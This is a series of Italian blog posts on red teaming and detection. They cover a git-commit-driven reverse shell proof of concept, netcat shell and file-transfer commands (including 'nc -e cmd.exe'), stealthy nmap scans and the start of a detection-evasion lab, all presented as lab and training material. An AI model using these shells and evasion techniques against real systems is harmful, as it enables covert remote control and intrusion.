cyber security, hacking

Threat-Led Penetration Testing

Oggi snoccioliamo qualche bella sigla e partiamo con TLPT. La prendo larga: come si fa a capire se le scelte fatte da una organizzazione, in termini di difesa dalle minacce informatiche, funzionano e in che grado funzionano?

Prima di darci una risposta ripassiamo il concetto di DIFESA, termine con il quale ci vogliamo riferire alla capacità di una organizzazione di reagire ad una minaccia. Non stiamo quindi parlando dei soli sistemi di protezione che ne fanno ovviamente parte (es: sistemi anti-malware, servizi MDR, ecc), ma dall’intera strategia di identificazione e gestione degli incidenti di sicurezza. Per essere chiari e lapidati: avere un ottimo sistema di detection, per quanto magico e ben configurato, non è una strategia di difesa, è uno strumento utile che deve far parte di una strategia più ampia.

Ora possiamo tornare alla domanda iniziale. La mia risposta (e non solo la mia) è: mettendo alla prova l’organizzazione. Ora, che ci crediate o no, l’unico modo per mettere alla prova un’organizzazione in tal senso è vedere come reagisce quando sottoposta ad un attacco informatico, tutto il resto sono chiacchiere.
Ci sono molte attività indispensabili che servono ad identificare falle specifiche con l’obiettivo di costruire un piano di miglioramento costante della propria postura. Possiamo eseguire molte tipologie di assessment, definire piani di formazione, adeguare costantemente i sistemi e le procedure, ma per vedere se l’impalcatura regge bisogna dargli qualche scossone.

Nulla di nuovo sotto al sole, chi lavora nel campo dell’offensive security propone questo approccio da anni. La citata sigla sta per Threat-Led Penetration Testing, per gli amici Red Teaming: sottoporre un target ad una serie di azioni controllate e concordate che facciano uso di metodologie e strumenti tipicamente in uso ad un attacker.

E’ un tema che recentemente si sta discutendo più frequentemente rispetto a qualche mese fa, probabilmente in conseguenza a quanto riportato nella Guida nazionale TIBER-IT, in riferimento al framework TIBER-EU. Le direttive in questione sono state pensate per il settore finanziario, storicamente un po’ più attento ai rischi legati alle moderne minacce cyber. A mio parere è un tema su cui tutti i settori dovrebbero cominciare a ragionare seriamente.

Ovviamente il tema va opportunamente declinato nei singoli contesti: stiamo parlando di applicare una metodologia che, sulla base del tipo di target, può prevedere strumenti, competenze e costi diversi. Il costo per un’azienda interessata va quindi valutato sulla base del contesto di riferimento che per ovvie ragioni avrà molte peculiarità da tenere in considerazione.

A cosa serve simulare un’azione di attacco? Personalmente non vorrei scoprire che qualcosa nella mia strategia non va a seguito di un attacco vero. Le aziende strutturate sono spesso molto complesse, è poco realistico fare previsioni a tavolino su come reagirà il “sistema”, nel complesso, a certe sollecitazioni. Per chi lavora in questo ambito sto dicendo delle ovvietà enormi, fattore in contrato con la realtà odierna in cui un numero al momento troppo basso di aziende si sta realmente muovendo in questa direzione.

Visto che si tratta dell’ennesimo argomento complesso gli dedico uno spazio nella prossima live del 21 gennaio sul mio canale Twitch.

hacking

GIT-SHELL: p-o-c v0.1

Tempo fa mi ero imbattuto in un post su medium in cui si discuteva dell’utilizzo di git per gestire una reverse shell. Non è un tema nuovo, ho visto diverse presentazioni in vari eventi in cui sono state mostrate le potenzialità della tecnica che trovo interessante per diversi fattori tra cui:

  • la possibilità di utilizzare come “base” una piattaforma considerata affidabile come un servizio di versioning in cloud
  • la possibilità di utilizzare comodamente SSH o HTTPS come protocollo di comunicazione
  • la versatilità dello strumento in se (git)

Ho rispolverato l’argomento in questi giorni (attività in corso con il red team) ed ho approfittato per costruire un piccolo prototipo che sfrutti le funzionalità di git con qualche accorgimento in più. Di seguito il funzionamento del mio proof of concept ed il codice utilizzato in questa primissima versione dimostrativa.

Come funziona

Il processo è molto semplice, partiamo dal contesto. Si tratta a tutti gli effetti di una reverse shell, siamo quindi in una fase di post-exploitation in cui abbiamo ottenuto un accesso ad un sistema o abbiamo modo di interagire. E’ inoltre necessario, almeno in questa versione del tool, che git sia presente sul sistema target salvo poterlo installare senza destare sospetti.

Sfruttando una qualsiasi funzionalità che consenta ti eseguire ad intervalli uno script facciamo in modo di eseguire il seguente processo:

  • creiamo/aggiorniamo la repo locale del progetto
  • verifichiamo il contenuto dell’ultimo commit message
  • se contiene una stringa che corrisponde ad un comando bash, eseguiamo il comando sul sistema
  • ridirigiamo l’output del comando in un file di testo che fa parte della repo (es: output.txt)
  • eseguiamo il commit delle modifiche ed aggiorniamo la repo remota

L’unica differenza di sostanza con altre git-shell sta nel fatto che i comandi vengono solitamente posizionati encoded in un file che fa parte dalla repo. In questa versione ho utilizzato il campo dedicato ai messaggi delle commit per inviate i comandi alla shell mentre per ricevere gli output ho mantenuto il metodo classico.

Come risultato finale per dialogare con il sistema basta eseguire una commit sulla repo ed aspettare l’aggiornamento del file “output.txt” con la risposta.

Demo

Una piccola dimostrazione pratica per vedere gli step e le modalità di lavoro della versione 0.1 che rilascio solo a fini dimostrativi per ambienti unix-like. Seguiranno probabilmente integrazione per altri ambienti.

Per prima cosa è ovviamente necessario clonare la repo sulla macchina target:

$ git clone https://github.com/roccosicilia/sToolz

Il progetto è una collezione di piccoli tools, in questa occasione ci interessa solo il contenuto della directory RedTeam/C2demo/ dove troverete diversi file tra cui:

  • il file git-demo.sh con lo script da tenere in esecuzione sulla macchina target
  • il file git-output.txt dove verranno scritti gli output dei comandi alla shell

Nota sugli altri file: fanno parte di altre versioni della p-o-c ancora in sviluppo, la metodologia è la stessa ma i canali utilizzati sono differenti.

Usando una tecnica a vostro piacimento è necessario far girare periodicamente lo script git-demo.sh:

Lo script si occupa semplicemente di aggiornare la repo locale e verificare l’ultimo messaggio di commit: se il messaggio è NOP lo script non esegue azioni e procede con la prossima iterazione, in caso contrario legge il contenuto dell’ultimo commit e lo utilizza come comando da inviare al sistema locale. L’output del comando viene così inviato al file git-output.txt su cui si esegue la commit e la push verso la repo remota.

A questo punto è sufficiente eseguire una qualsiasi modifica ad uno dei file della repo (es: README) mettendo nel messaggio il comando da eseguire.

l’esempio più idiota che mi è venuto in mente

L’output del comando verrà quindi salvato all’interno del file git-output.txt e sincronizzato con la repository del progetto su GitHub o su altri repo Git di vostro gradimento.

Utilizzo in un contesto reale

Ripercorriamo assieme gli step usando solo la cli sia lato “attacker” (a sinistra) che lato target (a destra), tenendo in considerazione che questa versione dimostrativa non è dotata di una interfaccia utente che possa agevolare qualche comando.

In arancione sono evidenziali i due file che compongono la versione 0.1 della git-shell, mentre nel riquadro azzurro il comando che avvia il loop sulla macchina target. Non essendoci stati change sulla repo remota lo script in loop restituisce il messaggio che indica che non ci sono azioni da eseguire (NOP).

Mentre sul sistema target è in esecuzione lo script, sul sistema locale modifichiamo uno dei file della repo (in questo caso il README.md. Come previsto con un git status possiamo visualizzare la modifica in accesa di commit.

commit

Una volta modificato il file possiamo eseguirne l’add e poi il commit (nell’esempio stiamo ancora usando la mia repository di test). Nell’esecuzione del commit, sottolineato in verde, vi è un comando specifico: per evitare problemi nell’utilizzo della stringa da utilizzare come comando sul sistema target si è adottata una forma che consenta di evitare gli spazi come carattere separatore.

Ora è sufficiente eseguire la push delle modifiche sulla repo ed attendere che il sistema remoto aggiorni la propria repository. In caso l’aggiornamento vada a buon fine dovremmo poter osservare la sincronizzazione delle repo:

A questo punto lo script avrà eseguito il comando passato tramite messaggio (df -kh) e scritto l’output sul file git-output.txt. Per accedere al contenuto sarà sufficiente aggiornare la repo sulla macchina locale leggere il contenuto del file:

l’output del comando “df -kh”

Qualche riflessione

Come sicuramente in molti avranno avuto modo di sperimentare l’utilizzo dei blasonati tools di Penetration Testing viene spesso limitato dal fatto che i sistemi di sicurezza ne conoscono bene il comportamento e sono spesso in grado di bloccare specifiche azioni. L’esigenza di creare componenti “originali” per le suite più note o piccoli strumenti from scratch credo si manifesterà sempre più frequentemente.

Le reverse shell sono strumenti potenti e se ben pensate sono difficili da individuare. L’esempio presentato in questo breve post difficilmente potrebbe essere rilevato se non grazie a sistemi di controllo in grado di correlare l’azione in se (dei comandi git e del traffico https) ad un comportamento anomalo come l’intervallo regolare degli update o il fatto che la rete target non ha familiarità con gli host di atterraggio delle sessioni. Tecnica ancor più insidiosa se la si veicola tramite un dispositivo “guest”, non controllato dall’IT.

In questo proof of concept abbiamo giocato ma è mia intenzione valutarne gli effetti in contesti di analisi ed attività – ovviamente concordate – di adversarial simulation.

cyber security, hacking

Una riflessione sul concetto di “detection”

Come ho avuto modo di raccontare in qualche post su LinkedIn, negli ultimi mesi ho potuto dialogare con molti attori, italiani e non, del mondo MDR. Per i non addetti ai lavori: MDR è l’acronimo di Managed Detection and Response e si riferisce ai servizi di presidio degli eventi di una rete con capacità di intercettare minacce informatiche e reagire per mitigare e/o bloccare l’eventuale compromissione. Potremmo dire che si tratta dall’evoluzione dei più tradizionali servizi di Security Operation Center che hanno sempre avuto il compito di intercettare e segnalare eventuali situazioni di compromissione.

Nel discutere i diversi scenari di applicazione del concetto di detection ho notato due approcci che definirei complementari. Va detto che alcuni interlocutori utilizzano entrambi gli approcci mentre altri ne prediligono uno all’altro. Il primo approccio è network-oriented: i dati su cui viene eseguita l’analisi vengono da sonde a livello rete che, potendo osservare il traffico sia a confine che all’interno della struttura, analizzano le conversazioni e, se possibile, i contenuti per scovare eventuali minacce. Il secondo approccio è event-oriented: i dati su cui viene eseguita l’analisi provengono dai logs e dagli eventi registrati dai sistemi della rete che possono inviare informazioni “grezze” o già qualificate (es: allarmi da parte di hosts o altri sistemi).

[Nota tecnica] Nella discussione nata su LinkedIn emerge l’esigenza di estendere il dominio dell’approccio event-oriented a ciò che è possibile analizzare a livello kernel dei sistemi operativi grazie a specifici agent. Nel post considero questa fonte assimilabile ad un evento anche se non viene segnalata attraverso i classici servizi di gestione degli eventi ma, solitamente, attraverso un agent.

Non voglio arrivare a conclusioni di preferenza, lo scopo del post è illustrare i due approcci in modo semplice così da farsi un’idea. Le valutazioni di merito vanno fatte caso per caso. Come da titolo il post si limita al concetto di detection, mentre per il concetto di response valuterò un post dedicato più avanti.

Detection network-oriented

Alla base di questo modello vi è l’assunto di poter osservare tutto il traffico di rete, sia nord/sud che est/ovest. Di per se questo requisito non è impossibile da rispettare ma in contesti complessi potrebbe non essere così immediato. Per ragionare sul modello a prescindere dalla complessità della rete (tema comunque da non trascurare in fase di analisi) mettiamoci comodi e lavoriamo su uno scenario semplice:

Nota di laboratorio: il lab mette a disposizione uno Standard Virtual Switch (su ESXi 7.x) su cui sono configurati tre Port Group in corrispondenza di tre VLAN (LAN, DMZ, WAN) a simulare una semplice rete.

In questo semplice esempio, facilmente applicabile in contesti con più reti e più apparati, vi è l’esigenza di portare tutto il traffico in visibilità di un oggetto “sonda” che si occuperà di analizzarlo a caccia di eventuali anomalie da segnalare direttamente all’amministratore di rete o, in contesti più complessi e completi, da portare a conoscenza di un sistema centralizzato e presidiato come un SIEM gestito da un security operation center (o altro team dedicato).

Virtualmente, se tutto il traffico fosse presidiato ed accessibile a livello di contenuto, dovremmo aver completa visibilità. E’ opportuno considerare che nel mondo vero non è così semplice raccogliere tutto il traffico di una rete. In un contesto multi sede sarebbe necessario predisporre almeno una sonda per sede. Inoltre le reti delle singole sedi possono essere molto complesse e potrebbero quindi richiedere più sonde. Ciò che spesso accade è che alcune porzioni di traffico non vengono raccolte.

C’è un altro tema da considerare se approcciamo lo scenario dal punto di vista di un threat actor. Cosa succede se volessimo attaccare una workstation (ws1 nello schema) con un’azione locale e che non transiti necessariamente dalla rete? Ovviamente la detection sarebbe impossibile se non grazie a sistemi che lavorano a livello host. Altro esempio: cosa succede se l’attacker utilizzasse l’host ws1 per inviare dati all’esterno della rete generando traffico verso un servizio in uso dall’organizzazione come OneDrive o Google Drive?

Il modello di per se ha il vantaggio di avete un punto di osservazione molto comodo per quantità di informazioni a cui può accedere e per capillarità. Va necessariamente considerato che non tutti gli attacchi hanno bisogno di transitare dall’infrastruttura di rete del target o potrebbero essere utilizzate tecniche particolarmente stealth per rendere l’azione difficile da rilevare.

Detection event-oriented

Ciò che accade sugli hosts è da diversi anni un tema di interesse: i logs delle security appliance come i Firewall sono sempre stati interessanti ma a questi si sono aggiunti gli eventi dei vari sistemi che popolano le reti. A livello cronologico si è prima svilippato in interesse verso i sistemi server per poi estendere il concetto a tutto ciò che può produrre un log: workstation, sistemi operativi, applicazioni, telefoni e caffettiere connesse alla rete LAN per contare quanti caffè vengono fatti ogni giorno (l’IoT ha avuto i suoi impatti).

Va inoltre aggiunto ciò che è possibile osservare a basso livello, in un mio recente post su LinkedIn si è discusso di quanto sia possibile andare in profondità con l’analisi a livello kernel utilizzando sistemi di controllo (es. EDR) in grado di sfruttare specifici moduli. Metto tutto, un po’ impropriamente, nel calderone della detection event-oriented in considerazione del fatto che si tratta di comportamenti che possiamo osservare a bordo di un sistema e di cui possiamo centralizzare il collecting e l’analisi.

L’approccio consente di avere un elevato livello di controllo sui singoli sistemi che popolano la rete (oltre a rendere possibile l’utilizzo di agent in grado di agire attivamente sui sistemi) ed ha l’ovvio limite di non dare evidenza in relazione a ciò che succede laddove non è stato installato/configurato un agent, spesso integrato a livello di sistema operativo, per inviare le informazioni a un sistema centralizzato in grado di analizzarle, SIEM o simili.

Le due aree non presidiate sono infatti determinate da quei sistemi che non hanno la possibilità di inviare eventi o dai sistemi che hanno la possibilità di connettersi alla rete target ma non sono gestiti centralmente (guest). In questi casi, non potendo riceve eventi direttamente dal sistema, possiamo contare solo su ciò che gli altri “agent” sono in grado di osservare a seguito di movimenti laterali. Azioni complesse ma assolutamente fattibili come un attacco MITM possono essere difficili da individuare in questo contesto. Anche attività di scansione passiva della rete diventano difficili da rilevare e, come per il precedente scenario, l’utilizzo di canali “leciti” e cifrati per comunicare con l’esterno rappresenta un problema dal punto di vista della detection in quanto il SIEM deve avere degli elementi per distinguere traffico lecito da traffico illecito in assenza di informazioni sul contenuto e a parità (o quasi) di destinazione e comportamento.

Abbiamo anche in questo casa un modello che consente grande capillarità ma che da solo lascerebbe un po’ di spazio di manovra se il contesto consentisse l’accesso a porte di rete ad eventuale personale ospite (autorizzato e non).

Qualche esempio per giocare

Giusto per capire di cosa stiamo parlando riporto due esempi, semplicissimi, relativi ai due scenari in cui vediamo come vengono interpretate azioni offensive utilizzando una detection network-oriented (tramite un IDS) ed una detection event-oriented (tramite un SIEM). Per semplificare il lab e permettervi di riprodurlo in modo abbastanza semplice utilizzo una appliance Security Onion.

Partiamo dall’azione più banale che, come spesso discutiamo durante le live, non è esattamente una cosa che accade mondo vero (fuori dai laboratori e dai corsi di formazione)… una bella scansione con nmap 🙂

nmap -sS verso il sistema Security Onion

Il traffico di una scansione è molto rumoroso, è quindi probabile che una sonda in rete possa interpretarlo per quello che è, verrebbe quindi generato un allarme sul sistema che controlla il traffico il traffico in transito nella rete:

L’allarme generato da suricata per la scansione

Anche utilizzando l’opzione -sT, un pelo meno aggressiva rispetto al primo tentativo, la quantità di rumore resta alta e comunque sufficiente a generare nuovi alert. Azioni più delicate tendono a passare invece inosservate o ad essere associate a severity più basse: un esempio è uno scan via nmap finalizzato alla sola discovery di host nella rete; di recente abbiamo utilizzato queste opzioni assieme al mio Red Team:

nmap -sn -PR -T5 -oA alive $target

Ovviamente in questo caso ci si accontenta di un obiettivo intermedio: la verifica degli host up. Anche abusando un po’ di questo tool in questa modalità il traffico in questo caso è relativamente basso e “agita poco le acque”, si riesci quindi ad ottenere una scansione degli host attivi senza destare sospetti:

Un banale ciclo for per passare alla scansione più target

Volendo essere estremamente chirurgici, una volta estratti silenziosamente gli host attivi potremmo passare a scansioni mirate su specifiche porte a caccia di servizi, questa volta usando uno semplice script in Python per verificare se le porte rispondono o no.

Il livello di sensibilità la sonda può ovviamente essere configurata così da individuare anche comportamenti come quelli utilizzati negli esempi in cui suricata, in qualità di IDS attivo nella rete, non ha segnalato allarmi. Il rovescio della medaglia, in caso si renda troppo sensibile la sonda, è ovviamente ricevere potenzialmente troppi falsi positivi.

Sul fronte di ciò che è possibile osservare a livello host il principio è simile. Come precedentemente discusso solitamente si utilizzano delle componenti, native o facendo uso di agent, che raccolgono ed analizzano ciò che accade a bordo di un sistema.

Facciamo un esempio molto semplice:

Tentativo di accesso in SSH si un sistema con agent attivo

Le regole di base per Security Onion identificano un accesso SSH fallito come un allarme con severity low:

In questo caso è il modulo ossec ad intercettare l’evento

Cambiamo punto di osservazione e posizioniamoci a bordo di un sistema, esattamente come se fossimo l’attacker che ha guadagnato un primo accesso con un utente qualsiasi di sistema e deve mettersi comodo. Ci sono un migliaio di cose che potremmo fare in questa situazione (sto preparando un post al riguardo). Tipicamente ci si muove sul sistema compromesso, si raccolgono info sulle configurazioni e sui tools presenti per poi arrivare, solitamente, a portare qualcosa dentro e/o fuori dall’ambiente.

Queste azioni, ancora una volta in base alla sensibilità dei sistemi di detection, possono far scattare degli allarmi o meno. Ad esempio se porto uno zip file sul sistema, tenendo sempre in considerazione che siamo in una configurazione base, il sistema SIEM non segnala nessun evento, ma se porto un binary file via HTTP …

wget di ncat da un host all’interno della stessa rete

… l’azione diventa chiaramente molto sospetta e potrebbe far scattare qualche regola di detection.

Nell’attuale configurazione del lab possiamo invece modificare i permessi del file scaricato ed eseguirlo senza generare allarmi a livello host, azione effettivamente pericolosa che in un sistema di produzione dovrebbe generare degli allarmi.

Ancora una volta dobbiamo ricordare che queste regole sono modificabili e che stiamo lavorando solo a livello di detection senza fare analisi dei contenuti di un file, cosa che un EDR farebbe sicuramente e molto probabilmente piallerebbe il file ncat alla velocità della luce. Qualche settimana fa in una live abbiamo visto come si è comportato l’EDR del mio laptop quando abbiamo provato ad eseguire un nc.exe. Quello che sicuramente metterebbe in difficoltà il sistema di detection è l’utilizzo di ciò che è già a bordo della macchina in modo tale da generare log del tutto simili a quelli che il sistema genera abitualmente.

Arriviamo al dunque

Nel mio lavoro e nel mio ambito di ricerca passo molto tempo a cercare i punti deboli dei sistemi e sono giunto alla conclusione che non ci si può affidare ad un singolo modello o ad un singolo approccio. Come spesso scrivo qui e nei miei post su LinkedIn, è necessario partire da un’analisi dei punti deboli per poi individuare gli strumenti idonei – in questo caso alla detection delle minacce – per il vostro specifico contesto. Troppo spesso ho trovato sistemi che potenzialmente avrebbero potuto rilevare qualsiasi cosa ma, a causa di una errata analisi, erano stati configurati con mille eccezioni fino a renderli inefficaci.

L’altro elemento da cui far partire i ragionamenti è una valutazione sui modelli di attacco che potrebbero interessare il target: dobbiamo smetterla di ragionare sulla presenza della singola vulnerabilità, gli attacchi sono singole azioni di exploiting. Dobbiamo lavorare sulla base di scenari offensivi realistici in grado di sfruttare le falle evidenziate in analisi.

cyber security, hacking

OSCP: D1

Era uno degli obiettivi 2022 che, per vari motivi, non ho potuto mantenere in roadmap (a malapena ho iniziato a studiare il materiale per la preparazione). Quest’anno ci sono un bel po’ di cambiamenti in corso ed ho quindi pensato di rimettere in programma questo mio traguardo personale.

Ho abbozzato un programma leggero per i prossimi sei mesi in cui vorrei seguire il materiale presentato nel super PDF che fa parte del materiale di studio (che avevo già ottenuto ad inizio 2022) “Penetration Testing with Kali Linux” e su questa base valutare qualche approfondimento. Vorrei inoltre che questo percorso sia utile anche a chi mi legge o mi segue sui vari social, troverete quindi diversi articoli su questo blog con la sintesi dei progressi, qualche live su Twitch ed una repository sul mio GitHub: https://github.com/roccosicilia/OSCP_sj.

Leggendo il primo capito del PDF dove viene presentato il percorso ci viene subito ricordato a chi è rivolta questa certificazione. Si fa riferimento a figure come System Administrator e Network Administrator, a ricordarci che l’ambito del Penetration Testing non è un punto di inizio ma parte di un percorso che inizia prima e che richiede di aver maturato una certa esperienza nella gestione dei sistemi e delle reti. Questo non significa che se non si ha esperienza nei ruoli citati sia impossibile seguire il programma ma sicuramente sarà necessario apprendere delle nozioni senza comprenderle appieno.

Tra le prime note tecniche viene presentato il modello base di un Penetration Test con le sue fasi:

  • Raccolta delle informazioni: più informazioni si ottengono più è probabile che l’attacco vada a buon fine;
  • Enumerazione dei servizi;
  • Primo accesso (es: Exploiting): una volta ottenuto il primo accesso viene solitamente condotta una nuova esplorazione dall’interno del sistema in modo di avere informazioni più dettagliate sul contesto e valutare quindi le successive mosse in modo appropriato;
  • Mantenere l’accesso: il metodo utilizzato nel primo accesso potrebbe non essere comodo da riutilizzare, viene quindi utilizzato un metodo alternativo per mantenere la comunicazione con i sistemi compromessi;
  • Attività post-attacco;

E’ evidente che il programma è ben strutturato e tocca molti aspetti dalle sicurezza dei sistemi. Oltre atte attività operative vi sono cenni su come strutturare il report e su come comunicare i risultati. Pur esistendo un modello base generalmente valido per attività volgarmente chiamate PT, va comunque ricordato che esistono molti ambiti di applicazione per i quali è opportuno sviluppare metodologie specifiche. Un tipico esempio è OWASP in relazione al test di applicazioni web o OSSTMM3.

OWASPOpen Web Application Security ProjectFondazione no-profit che lavora per migliorare la sicurezza del software con particolare riferimento alle applicazioni del mondo WEB (https://owasp.org/)
OSSTMMOpen Source Security Testing Methodology ManualManuale che riporta una metodologia di test di sicurezza basata sull’accertamento di fatti su cui basare le proprie valutazioni in tema di sicurezza di un sistema (https://www.isecom.org/OSSTMM.3.pdf)

Labs

Il corso offerto da Offensive Security comprende un serie di laboratori a cui lo studente può accedere per fare pratica. Nel mio caso mi doterò dell’acceso ai laboratori durante l’anno in corso mentre per le prime fasi (ed i primi capitoli) costruirò autonomamente i labs e pubblicherò i dettagli dei miei esercizi.

Ovviamente è necessaria la macchina Kali che nel mio caso sarà utilizzata in due modalità: come WLS sul mio host Windows (fino a quando avrò Windows…) e su un host dedicato (un mini-pc) disponibile separatamente con la possibilità di tenere accesso il sistema per fargli eseguire operazioni molto lunghe e che vincolerebbero la mia attività lavorativa quotidiana.

Pronti?

A prescindere dalla certificazione il percorso è tecnicamente interessante e consente di approfondire molti ambiti dell’informatica. Ho scritto questo post la notte tra l’1 e il 2 gennaio (2023) dopo aver letto il primo capitolo della documentazione e ho già aperto diversi temi di approfondimento come le diverse metodologie di Security Test. Se avrei voglia di seguirmi in questo percorso e vuoi contribuire con qualche tua nota o riflessione puoi contattarmi direttamente su LinkedIn o su uno dei miei canali social: https://roccosicilia.com/about/.

hacking

L’allenamento cyber sec.

A chi è del mestiere ed è attivo da qualche annetto nel mondo cyber security (e/o ambienti acari di un tempo non così lontano) potrebbe capitare di essere poco avvezzo all’utilizzo di strumenti di apprendimento come gli ambienti simulati ed appositamente preparati per essere “attaccabili”.

Personalmente ne faccio poco uso pur trovandoli molto divertenti ed interessanti: il mio approccio mi porta a trovare più stimolante costruire un ambiente realistico, spesso riproducendo scenari reali che ho incontrato, per allenare una tattica o preparare qualcosa di nuovo. Ovviamente questo ha senso per chi ha esigenza di immergersi in scenari reali, mentre chi è in una fase di studio o di miglioramento di specifiche skills probabilmente trova più vantaggioso utilizzare un ambiente simulato e preparato appositamente per quell’esigenza.

Ho avuto modo di usare diverse piattaforme compreso il progetto italiano pwnx.io che, lo dico senza problemi, a me piace molto. Si tratta chiaramente di ottime risorsa per imparare, per prendere confidenza con gli ambienti, per crescere. Va anche tenuto in considerazione il fatto che il mondo vero di solito è un po’ diverso, non intendo più facile o più difficile ma semplicemente diverso. Usiamo quindi queste piattaforme con la consapevolezza di affrontare qualcosa che è stato creato ad hoc.

Banale? Come al solito sì, ma non credo di essere l’unico che si è trovato d’avanti ad un “Cyber Security Expert” con punteggi favolosi sulle piattaforme di simulazione e con gravi lacune tecniche sul funzionamento base di un sistema o di una rete. Diciamocelo, se approcciamo così queste piattaforme – che, ripeto, sono utilissime per imparare – stiamo commettendo un errore non da poco.

Come sempre per me la cosa migliore è fare un po’ di mix, esplorare più scenari, più piattaforme, più argomenti e farsi un’idea generale per poi approfondire l’ambito che più ci interessa o dove preformiamo meglio… ma approfondire sul serio, non solo a livello di tools e scripts da usare in batteria… non basta capire come funzionano le cose ma anche perché funzionano. La famosa differenza tra “apprendere” e “comprendere” (rif. alle lezioni di Umberto Galimberti).

Con questo spirito condivido gli articoli ed i post sui miei lab di studio che simulano situazioni reali e con questo spirito questa sera partecipo ad una CTF con un team letteralmente improvvisato al puro scopo di condividere un’esperienza assieme ed imparare dal confronto (https://ctf.nahamcon.com/).

Per chi vuole fare due chiacchiere ci vediamo questa sera sul mio server Discord o sul canale Twitch.

cyber security, hacking, podcast

Anti-DDoS

Qualche giorno fa, assieme ai mitici Stefano Giraldo, Andrea Dainese e Mario Rosi, abbiamo condiviso una sessione su Twitch (disponibile a breve anche sul mio canale YouTube) sul tema Anti-DDoS in cui Stefano ci ha illustrato il funzionamento delle tecnologie di mitigazione di questa tipologia di attacchi e gli scenari per una corretta difesa.

L’occasione è stata utile per discutere anche alcune tecniche di DDoS che fanno uso tattiche di “amplificazione” degli attacchi, una pratica particolarmente furba che vorrei approfondire in una delle prossime live.

Stefano ha acconsentito alla distribuzione delle slide che trovate di seguito:


Ringrazio ancora una volta Stefano per averci messo a disposizione il suo tempo e la sua competenza per discutere apertamente di temi complessi al solo scopo di condividere un po’ di cultura ed esperienza.

Alla prossima!

cyber security, hacking

Reverse Shell: giocare con netcat

Approfitto della sessione live #studywithme che ho iniziato a proporre il martedì sera sul mio canale Twitch per proporre una “dispensa” sugli argomenti trattati. Premetto che la live in questione è durata poco in quanto lo scorso martedì ero abbastanza provato dallo giornata, abbiamo comunque introdotto netcat e ci siamo scontrati (come spesso capita) con i limiti delle versioni disponibili per MS Windows.

Prima di passare all’esplorazione dell’utility dedico qualche minuto al reperimento della stessa. Mentre se avere una linux-box potrete tranquillamente installare quello che vi serve dai pacchetti della vostra distro, su Windows bisogna necessariamente reperire il binario ed assicurarsi che il vostro sistema anti-malware non lo vada a spianare al primo utilizzo. Per poterlo utilizzare nella mia macchina di test su VirtualBox ho dovuto necessitamene disattivare prima Defender e creare poi una eccezione. Ho utilizzato il binario disponibile qui: https://nmap.org/ncat/.

screen della vm Win10

Predisporre il lab con una macchina Windows ed una macchina Linux ci consente di seguire gli esempi della documentazione #OSCP. Ovviamente possiamo tranquillamente lavorare anche sono con ambienti *nix like.

Utilizzo base

Fondamentalmente netcat è una utility che ci consente di leggere e scrivere dati attraverso una connessione di rete sia via TCP che via UDP. Possiamo quindi utilizzarlo per connetterci ad un servizio come un POP o SMTP server:

classica connessione ad un servizio

Una delle funzionalità che più rimanda al tema delle reverse shell è la possibilità di mettere in listening su una porta specifica netcat:

$ nc -nlvp 1337
Listening on 0.0.0.0 1337

Una volta avviata la sessione possiamo ovviamente provare ad interagire ad esempio eseguendo una richiesta tramite un client come un browser:

HTTP GET da un browser

La funzione di per se è utile per fare delle verifiche a livello di comunicazione. Più frequentemente questa funzionalità è utilizzata per ricevere una sessione da un “client” netcat che, senza altri accorgimenti, consentirà di inviare e leggere i caratteri all’interno della sessione in entrambe le direzioni:

connessione “client/server”

Passando ad utilizzi più pragmatici vi è la possibilità di trasferire file da un sistema all’altro semplicemente con il comando:

$ nc -v {HOST} < /usr/share/windows-binaries/wget.exe
Connection to 192.168.1.12 1337 port [tcp/*] succeeded!

Ovviamente lato sistema target va prima reindirizzato l’output verso un file “destinazione”:

c:\Test>nc -nlvp 1337 > wget.exe
listening on [any] 1337 ...

Il risultato sarà l’upload del file wget.exe sulla macchina target.

E arriviamo all’utilizzo per il quale probabilmente è più famoso: la possibilità di gestire una shell attraverso una sessione. Il funzionamento in tal senso è molto semplice, abbiamo visto come aprire una sessione di comunicazione tra due macchine al fine di inviare semplici caratteri, ora possiamo utilizzare qualcosa di simile per legare un processo come cmd.exe alla sessione TCP. La funzionalità è disponibile solo per le versione che presentano il flag -e, controllare questo requisito.

c:\Test>nc -nlvp 1337 -e cmd.exe
listening on [any] 1337 ...

Il comando per connettersi alla sessione, che dovrebbe restituire il prompt dei comandi di DOS, è altrettanto semplice:

$ nc -v 192.168.1.12 1337
la classica reverse shell

Qualche curiosità

Netcat è uno strumento molto duttile utilizzato, anche se forse non frequentemente, in molteplici scenari. Ho raccolto qualche esempio che credo possa valere la pensa di tenere a mente.

Network port-scan

-w necessario per il timeout

HTTP requests


Qualche risorsa aggiuntiva:


Personalmente l’utilizzo principale è quello relativo alle reverse shell e l’impiego in contesti di troubleshooting su anomalie di rete o verifica della bontà delle richieste. L’utilizzo, negli esempi della porta 1337 è ovviamente un riferimento nerd al leet, ma è effettivamente la porta che utilizzo nei miei lavoratori. In contesti reali come attività di Pen Testing o simulazioni di solito valuto in base al contesto quali porte utilizzare e, soprattutto, non utilizzo netcat in queste modalità in quanto tutto il traffico sarebbe in chiaro. Nella prossima live, programmata per martedì 01 novembre, ci avviciniamo di più a quello che potremmo fare in una sessione di PenTesting.

cyber security, hacking

Eludere i controlli “network-based” [prima parte]

Abstract

Nelle attività di Red Teaming ed Adversary Simulation vi è la necessità di condurre l’azione, se lo scenario lo richiede, senza essere individuati. Una dalle attività che vorrei meglio indagare è la creazione di una falsa “baseline” per ingannare i sistemi di detection. In questo esercizio di laboratorio metto le basi per la creazione di traffico http/https da utilizzare per coprire azioni offensive verso una web application.

Scenario

Questo primo laboratorio nasce da una esigenza specifica che recentemente ho avuto modo di portare all’interno di una delle sessione live su Twitch: dovendo analizzare un sistema target senza essere identificati – e quindi “bloccati” dall’amministratore – ho avuto la necessità di generare traffico verosimile verso il sito web. Quasi contemporaneamente ho avuto modo di discutere con diversi Red Team di approccio e metodi per condurre azioni silenziose e ho voluto fare qualche esperimento.

Il target del laboratorio è una macchina dvwp, sistema che stiamo utilizzando io ed Andrea per le nostre sessioni Red vs. Blue ma va benissimo un qualsiasi web server in grado di registrare i log di accesso al sistema. Per eseguire la detection vorrei utilizzare un sistema in grado di analizzare i log in modo semplice. Mentre scrivo non so ancora se utilizzerò Splunk o Graylog.

Divido questa prima parte del lab in più step:

  1. Infrastruttura proxy per utilizzo di più IP sorgenti
  2. Script di crawling per definizione page list
  3. Script di generazione traffico

Una volta portata a termina la prima fase potremo iniziare ad osservare il comportamento dello script grazie all’analisi dei log.

Più sorgenti IP

